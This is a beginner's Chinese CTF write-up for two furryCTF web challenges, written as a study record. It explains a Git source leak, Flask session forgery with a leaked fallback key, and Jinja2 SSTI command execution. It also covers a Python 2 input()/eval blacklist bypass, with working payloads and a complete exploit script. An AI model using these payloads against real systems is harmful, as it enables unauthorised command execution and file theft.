写在前面:写此题解主要目的是积累自己的技术,巩固学到的东西,所以很多概念都会在文中解释一遍,包括一些脚本的语法,furry算是我第一场深度参与的校外CTF,本人还处于小白阶段,很多技术都刚刚接触,写的不好还望多多指正。
固若金汤
题目介绍
Nexus Corporation 刚刚完成了其核心门户网站的 3.1.0 版本升级。CTO 自信地宣称:"为了符合 ISO-27001 标准,我们实施了严格的密钥轮换策略,并修复了所有的 SQL 注入漏洞。""现在的系统固若金汤,即便是内部员工也需要多因素认证才能访问。"请不要试图攻击平台。
**hint:**或许dirsearch有惊喜?
Git源码泄露漏洞
题目给了提示,先用dirsearch扫描:
bash
dirsearch -u http://ctf.furryctf.com:32872/ -e *
-u **:**指定目标 URL
-e *: 表示扫描所有常见的后缀 (php, zip, bak, txt, etc.)
在扫描结果中看到漏洞:
bash
[22:12:51] 200 - 92B - /.git/config
[22:12:51] 200 - 23B - /.git/HEAD
[22:12:51] 200 - 830B - /.git/index
发现了 Git 源码泄露 (Git Source Code Disclosure)。
要利用这个漏洞,需要用到GitHack,用命令下载到dirsearch目录:
bash
git clone https://github.com/lijiejie/GitHack
安装后运行命令:
bash
python GitHack.py http://ctf.furryctf.com:32872/.git/
运行后发现几个重要文件:
bash
[OK] app.py
[OK] config.py
[OK] templates/login.html
打开查看之后发现config.py中,虽然SECRERT_KEY是随机生成的,但是第四行:
bash
SECRET_KEY_FALLBACKS = ["This_key_has_been_deprecated_v2023"]
发现有备用密钥,这是Flask Session机制:
Flask 的 Session 是经过签名的 Cookie。为了支持密钥轮换,Flask 允许设置 SECRERT_KEY_FALLBACKS(备用密钥列表)。如果主密钥验证失败,Flask 会尝试用备用密钥列表里的密钥去解密 Session。
还在app.py的/dashboard路由中发现:
python
username = request.args.get('u', 'Administrator')
template = f"""
...
<h2>欢迎回到管理控制台, {username}!</h2>
...
"""
return render_template_string(template)
这是模板注入(SSTI)漏洞,开发者使用了 Python 的f-string(f"""...""")将用户输入的username直接拼接进了模板字符串,然后丢给了render_template_string渲染。
所以,如果我们传入{{7*7}},Python 会把它拼进去,变成模板的一部分。Flask 渲染时看到{{...}}就会执行里面的代码,输出49。同理,我们可以让它执行os.popen('cat /flag').read()。并且只检查只检查session['role']=='admin'。
攻击步骤
第一步,在app.py中加上:
python
@app.route('/get_cookie')
def get_cookie():
session['role'] = 'admin'
return "Cookie已生成..."
session是什么 :在 Flask中,session就像是一个全局的 结构体 (struct) 或者 **哈希表 (HashMap),**开发者用它来存用户的状态。
并且把
python
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
的注释去掉。
if name == 'main':这是 Python 的标准入口判断,它保证了这段代码只有在直接运行python app.py时才会执行,而被别的程序import时不会执行。
app.run(...):启动web服务器。
host='0.0.0.0':意思是"监听所有网卡"。如果不写这个,默认只能本地访问。
port=5000:指定在 5000 端口等待连接。
第二步,将config.py原来的secret_key删掉,用备用的这个。
为什么要修改sevret_key :Flask 的默认机制非常特殊:它不把 Session 存在服务器内存里,而是加密并签名后,直接发给浏览器存起来(这就是 Cookie)。
-
**签名流程:**数据({'role':'admin'})+ SECRET_KEY --(哈希算法)--> 加密字符串(cookie)
-
验证流程: 服务器收到 Cookie -> 用同样的SECRET_KEY解密 -> 如果解密成功且签名匹配,就承认这个数据。
-
我们的操作:因为我们拿到了源码里的SECRET_KEY,我们就能在本地模拟服务器的签名过程,生成一个服务器承认的"假身份证"。
第三步
运行app.py后,进入http://127.0.0.1:5000/get_cookie,找到session的cookie复制。回到题目页面,将session加入cookie,刷新页面,访问http://ctf.furryctf.com:32872/dashboard,看到"欢迎回到管理控制台",身份伪造成功。
第四步,用payload:
html
http://ctf.furryctf.com:32872/dashboard?u={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
获取flag。
payload拆解
-
**config(出发点):**在 Flask 的模板(Jinja2)里,config是一个内置对象,代表当前的配置。我们能直接访问它。
-
.__class__(向上看): 查看config对象是由哪个类(Class)创建的。 -
**
.__init__(找初始化函数):**访问这个类的初始化方法(构造函数)。 -
.__globals__(越狱): 核心原理 :Python 的函数都有一个 globals 属性,它是一个字典,包含了定义这个函数时所在文件里的所有全局变量和导入的模块 。通过__globals__,我们就能在字典里找到os这个模块。 -
['os'](拿到武器): 从全局字典里取出os模块。os模块是 Python 操作操作系统的接口。 -
.popen('cat /flag').read()(开火):popen:相当于 C 语言的system()或popen(),在操作系统 Shell 里执行命令。cat /flag:Linux 命令,查看 flag 文件内容。read():把命令执行的结果(Flag 字符串)读取出来,显示在网页上。
本题flag:furryCTF{fd1c5347b539_KEy_C1rCI3_mi9hT_be_FL4W5_a5_W3l1}
DeepSleep
题目介绍:猫猫最近开发出一款新的AI语言模型DeepSleep:
python
try:
question = input("").decode('utf-8')
except:
question = u"服务器繁忙,请稍后再试。"
try:
response = (question
.replace(u"请问", u"")
.replace(u"问", u"")
.replace(u"吗", u"呀")
.replace(u"你", u"我")
.replace(u"?", u"!"))
print response.encode("utf-8")
为了猫猫的系统安全,猫猫设置了非常严格的BLACKLIST哦,会像上面的程序一样给你replace掉~(前后端都有的那种nwn)还有就是,这里没有flag,所以不要试图问AI从哪里获得flag哦~好啦,猫猫知道你不会自觉的nwn,所以猫猫已经在后端帮你把所有flag都替换掉了哦~
读一下题给代码会发现这是python2的代码。
为什么是python2?
这段代码的最后一行是:
python
print response.encode("utf-8") # Python 2 写法,无括号
以及python2 input()语法有一个极大的漏洞,返回的是字节串(str 类型) 的结果,若输入纯文本则为字节串),所以需要用.decode('utf-8')转成 Unicode 字符串(unicode类型)。
并且,input()函数不仅仅是接收输入,它等同于eval(raw_input()),它会把用户输入的字符串当作代码来执行。
WAF绕过
在HTML 源码中的 JavaScript 中发现:
javascript
// 检查特殊字符(可选)
const dangerousChars = /[<>`$|&;{}()]/; // <--- 关键点
if (dangerousChars.test(input)) {
return { valid: false, message: '输入包含危险字符...' };
}
前端直接禁止了 { 和 } 以及 ( )。而在 Python 的 Flask/Jinja2 注入中,我们需要用 {``{ ... }} 来执行代码。
一些失败的尝试
| 尝试的 Payload | 失败原因 (底层原理) | 经验教训 |
|---|---|---|
{``{7*7}} |
SyntaxError (语法错误) 。{``{...}} 是 Jinja2 模板语法,在纯 Python 代码中是非法的(Python 字典只能单层 {})。 |
不要惯性思维。先分清是模版注入还是代码注入。 |
7*7 |
AttributeError (类型错误) 。7*7 执行结果是整数 49。后端代码紧接着执行了 .decode('utf-8'),但整数类型没有 decode 方法,导致程序崩溃。 |
关注上下文。Payload 的返回值必须符合后端代码的预期类型 (String)。 |
file('/f'+'lag') |
IOError (文件不存在) 。我们假设 Flag 在根目录 /flag,但实际上它在当前目录。读取不存在的文件会导致崩溃。 |
先侦察,后攻击 。盲目读取文件很容易踩雷,先用 ls 确认位置。 |
__builtins__['import'] |
TypeError 。有些环境里 __builtins__ 是模块 (module),不能用 ['key'] 访问,得用 . 或 __dict__。 |
环境探测。多尝试几种访问方式(字典 vs 模块)。 |
成功的尝试
目录侦察:
python
str(__builtins__.__dict__['__im'+'port__']('o'+'s').listdir('.'))
-
__builtins__: Python 的一个内置模块,包含了所有默认加载的函数(如print,open,import等)。 -
.__dict__: 获取该模块的字典(命名空间)。为什么要用字典?因为我们可以用字符串作为键名来提取函数,这为后面的"字符串拼接"创造了条件。 -
['__im'+'port__']: 由于 WAF拦截了import这个连续的字符串,我们把它拆成两半拼起来。从字典里拿到了__import__函数的内存地址。 -
('o'+'s'): 调用刚才拿到的导入函数,导入os模块。同样用拆字法 绕过对os的拦截。 -
.listdir('.'): 调用os.listdir()列出当前目录 (.) 下的所有文件,确认 flag 文件的确切名字。 -
str(...): 强制类型转换。把返回的列表转化为字符串,防止后端的 JSON 序列化器在处理列表时报错。
这是我们发现了目录中的文件:

发现了flag文件就在当前目录。
读取flag:
python
getattr(__builtins__.__dict__['op'+'en']('f'+'lag'), 're'+'ad')().encode('base64')
-
['op'+'en']('f'+'lag'): 同样的配方,绕过对open和flag的拦截,执行open('flag'),这会返回一个"文件对象"。 -
getattr(..., 're'+'ad'):getattr()是 Python 的反射函数。因为直接写.read()会被查杀,所以我们用getattr(文件对象, 'read')的方式,把read作为一个字符串传进去,从而获取到了文件对象的read方法。 -
(): 加上括号,执行刚才获取到的read方法,把文件内容读入内存。 -
.encode('base64'): 明文的 Flag 变成 Base64 编码,从而绕过后端可能存在的"输出结果不能包含flag{}"的过滤规则。本题有过滤,直接打印会显示:

最后再将获取到的编码解码即可。
完整解题脚本
python
import requests
import json
import base64
url = "http://ctf.furryctf.com:33067"
def execute_payload(message, is_base64=False):
headers = {'Content-Type': 'application/json; charset=UTF-8'}
data = {'input': message}
try:
response = requests.post(url, headers=headers, data=json.dumps(data))
if response.status_code == 200:
result = response.json().get('processed_result')
if is_base64 and result:
try:
decoded = base64.b64decode(result.strip()).decode('utf-8')
print(f"Flag: {decoded}")
except:
print(f"解码失败: {result}")
else:
print(f"目录侦察: {result}")
else:
print(f"状态码错误: {response.status_code}")
except Exception as e:
print(f"请求错误: {e}")
# 侦察目录
execute_payload("str(__builtins__.__dict__['__im'+'port__']('o'+'s').listdir('.'))")
# 读取并解码Flag
execute_payload("getattr(__builtins__.__dict__['op'+'en']('f'+'lag'), 're'+'ad')().encode('base64')", True)
从输出中可以获取flag:

本题flag:furryCTF{8497a8dcec47_D0_Not_U5e_Inpu7_In_Pyth0n2}
写在后面
做题的时候发现自己的burpsuite破解版突然不能用了,只能在ai帮助下用python写脚本,看完脚本觉得burpsuite真方便,当然如果ai写的脚本正确率极高的话直接复制粘贴运行一把梭拿下flag貌似更爽一点。Deepsleep拿到题我问ai在绕过读目录那里卡了好久,还有ai会觉得flag在根目录,一直执着于找根目录。所以用ai解题其实也是有快慢的,如果自己会的话,在第一步就能纠偏,能够更快地解题。